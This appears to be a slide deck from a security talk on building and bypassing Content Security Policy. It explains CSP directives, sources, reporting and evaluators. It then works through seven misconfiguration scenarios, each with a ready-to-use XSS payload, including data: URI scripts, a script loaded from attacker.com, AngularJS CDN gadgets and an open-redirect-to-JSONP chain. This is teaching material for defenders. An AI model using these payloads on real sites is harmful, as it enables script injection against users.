Building & Breaking
Content Security Policy
About me
Mohammed Akbar Shariff
- Security Engineer 5+ years exp
- Current: PhonePe | Ex-Olacabs
- @akbarshariffak
Content-Security-Policy
-
Mechanism/policy to define which resources can be fetched out or executed by a web page.
-
Policy that decides which scripts, images, iframes can be called or executed on a particular page from different locations.
-
Implemented via response headers or meta elements of the HTML page. Further, it’s browser’s call to follow that policy and actively block violations
WHAT?
- To secure web applications against content injection like XSS & Clickjacking attacks. - Server can specify which protocols are allowed to be used. - Reports a wide range of attack details that were unsuccessful, Web admin can spot Potential bug.
CSP- the mitigation of XSS? - NO
- An extra security layer against content injection attacks. - First defence always output encoding & input sanitisation
Content-Security-Policy
WHY?
- CSP works by restricting the origins that active and passive content can be loaded from. - Restrict the execution of inline JavaScript, and the use of eval(). - Website owner required to define all allowed origins for every type of resource your website utilises.
Content Security Policy
- How does it work
Implemented via Response Header:
Content-Security-policy: default-src 'self'; script-src 'self' allowed.com; img-src 'self' allowed.com; style-src 'self';
Implemented via meta tag:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
Content Security Policy
- Implementation
CSP DIRECTIVES
script-src: Specifies allowed sources for JavaScript. Includes URLs loaded directly into <script> elements & things like inline script event handlers (onclick) and XSLT stylesheets which can trigger script execution.
default-src: This directive defines the policy for fetching resources by default.
frame-ancestors: specifies the sources that can embed the current page. This directive applies to <frame>, <iframe>, <embed>, and <applet> tags. can't be used in <meta> tags. media-src: It defines allowed sources from where media objects like <audio>,<video> and <track> can be loaded. object-src: It defines allowed sources for the <object>,<embed> and <applet> elements. base-uri: It defines allowed URLs which can be loaded using <base> element. form-action: This directive lists valid endpoints for submission from <form> tags. plugin-types: It defines limits the kinds of mime types a page may invoke.
connect-src: This directive restricts URLs to load using interfaces like <a>, fetch, websocket, XMLHttpRequest.
img-src: It defines allowed sources to load images on the web page.
CSP- SOURCES
*: This allows any URL except data: blob: filesystem: schemes
self: This defines that loading of resources on the page is allowed from the same domain.
data: This source allows loading resources via the data scheme (eg Base64 encoded images)
none: This directive allows nothing to be loaded from any source.
unsafe-eval: allows the use of eval() and similar methods for creating code from strings. This is not a safe practice to include this source in any directive.
For the same reason it is named as unsafe.
unsafe-inline: This allows the use of inline resources, such as inline <script> elements, javascript: URLs, inline event handlers, and inline <style> elements.
Again this is not recommended for security reasons.
unsafe-hashes: This allows to enable specific inline event handlers.
nonce: A whitelist for specific inline scripts using a cryptographic nonce (number used once). The server must generate a unique nonce value each time it transmits a policy.
CSP- Proactive & Reactive
Content-Security-Policy
- report-uri | report-to
Content-Security-Policy-Report-Only
CSP- Example analysis
Lets take an example of a CSP for www.abcd.com
Content-Security-Policy: default-src 'self';
script-src https://abcd.com;
report-uri /Report-parsing-url;
<script src=script.js> , <img src=image.jpg>
above image & script will be allowed to load as that is loading from the same domain.
<script src=https://evil.com/script.js>
"/><script>alert(1337)</script> :
This script will not-allowed as the script is trying to load from undefined domain i.e. evil.com
- This will not-allowed on the page, as inline-src is set to 'self'.
- If other directives are not defined but they will be following default-src directive value only.
Below is the list of directives which will follow default-src
value even though they are not defined in the policy:
child-src connect-src font-src frame-src img-src manifest-src
media-src object-src prefetch-src script-src script-src-elem
script-src-attr style-src style-src-elem style-src-attr worker-src
CSP- Self analysis
Lets take an example of a CSP for www.abcd.com
Content-Security-Policy: default-src 'self'; img-src https://*; child-src 'none'; report-uri /Report-parsing-url;
img-src https://*
What's wrong in the above policy?
CSP Online Evaluators
1. https://csp-evaluator.withgoogle.com/
2. https://cspvalidator.org/
curl -X POST https://csper.io/api/evaluations -d '{"URL":"https://apple.com"}' | jq
3. https://csper.io/[evaluator] | [generator] | [CI/CD?]
Integrate the following curl in CI/CD build pipeline to check CSP violations & blocking builds.
Dealing with Inline scripts
- Use 'nonce'
- Hash
- Unsafe-inline ==[Not Recomended]
- Push inline to javascript on same origin 'self'.
<script id="config" type="text/json">
{
"version": "7330b4",
"appRoot": "//example.com",
"cdnRoot": "//cdn.example.com"
}
</script>
<script src="js/app.js"></script>
This example will cause a CSP exception
In js/app.js
var config = document.getElementById('config');
window.CONFIG = JSON.parse(config.textContent || config.innerHTML);
CSP- BYPASS SCENARIOS
Content-Security-Policy: script-src https://facebook.com https://google.com 'unsafe-inline' https://*; child-src 'none'; report-uri /Report-parsing-url;
By observing this policy we can say it's vulnerable and will allow inline scripting as well .
Reason: usage of unsafe-inline value of script-src directive.
working payload: "/><script>alert(1337);</script>
Scenario 1
for CSP Bypass Practise
https://portswigger.net/web-security/cross-site-scripting/content-security-policy/lab-csp-bypass
CSP- BYPASS SCENARIOS
Content-Security-Policy: script-src https://facebook.com https://google.com 'unsafe-eval' data: http://*; child-src 'none'; report-uri /Report-parsing-url;
Again this is a misconfigured CSP policy due to
usage of unsafe-eval.
working payload: <script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
Base64 value = alert(document.domain)
Scenario 2
CSP- BYPASS SCENARIOS
Content-Security-Policy:
script-src 'self' report-uri /Report-parsing-url;
Misconfigured CSP policy again! we can see object-src and default-src are missing here.
working payload:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
Scenario 3
CSP- BYPASS SCENARIOS
Content-Security-Policy:
script-src 'self' https://facebook.com https://google.com https: data *; child-src 'none'; report-uri /Report-parsing-url;
Again this is a misconfigured CSP policy due to usage of a wildcard in script-src.
working payload: "/>'><script src=https://attacker.com/evil.js></script> "/>'><script src=data:text/javascript,alert(1337)></script>
Scenario 4
CSP- BYPASS SCENARIOS
Content-Security-Policy: script-src 'self'; object-src 'none' ; report-uri /Report-parsing-url;
- we can see object-src is set to none but yes this CSP can be bypassed too to perform XSS.
- If the application allows users to upload any type of file to the host. An attacker can upload any malicious script and call within any tag.
working payload: "/>'><script src="/user_upload/mypic.png.js"></script>
Scenario 5
CSP- BYPASS SCENARIOS
Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com/; object-src 'none' ; report-uri /Report-parsing-url;
- script-src is set to self and a javascript library domain which is whitelisted.
- It can be bypassed using any vulnerable version of javascript file from that library , which allows the attacker to perform xss.
working payload:
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}</div>
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
Scenario 6
CSP- BYPASS SCENARIOS
Content-Security-Policy: script-src 'self' accounts.google.com/random/ website.with.redirect.com ; object-src 'none' ; report-uri /Report-parsing-url;
there are two whitelisted domains from where scripts can be loaded to the webpage.
Now if one domain has any open redirect endpoint CSP can be bypassed easily. The reason behind that is an attacker can craft a payload using redirect domain targeting to other whitelisted domains having a jsonp endpoint. And in this scenario XSS will execute because while redirection browser only validated host, not the path parameters.
working payload:
">'><script src="https://website.with.redirect.com/redirect?url=https%3A//accounts.google.com/o/oauth2/revoke?callback=alert(1337)"></script>">
Scenario 7
DEMO
Questions?
References
- https://github.com/bhaveshk90/Content-Security-Policy-CSP-Bypass-Techniques
- https://content-security-policy.com/ [nonce]
- https://content-security-policy.com/ [faq]
- https://content-security-policy.com/ [hash]
- http://benvinegar.github.io/csp-talk-2013/
- https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
- https://payatu.com/blog/aamir.ahmed/content-security-policy
- [Lavakumar - Everything you need to know about client-side malicious code execution](https://www.youtube.com/watch?v=tsxjmh9Sbw0)
Building & Breaking Content Security Policy
By Akbar Test
Building & Breaking Content Security Policy
- 643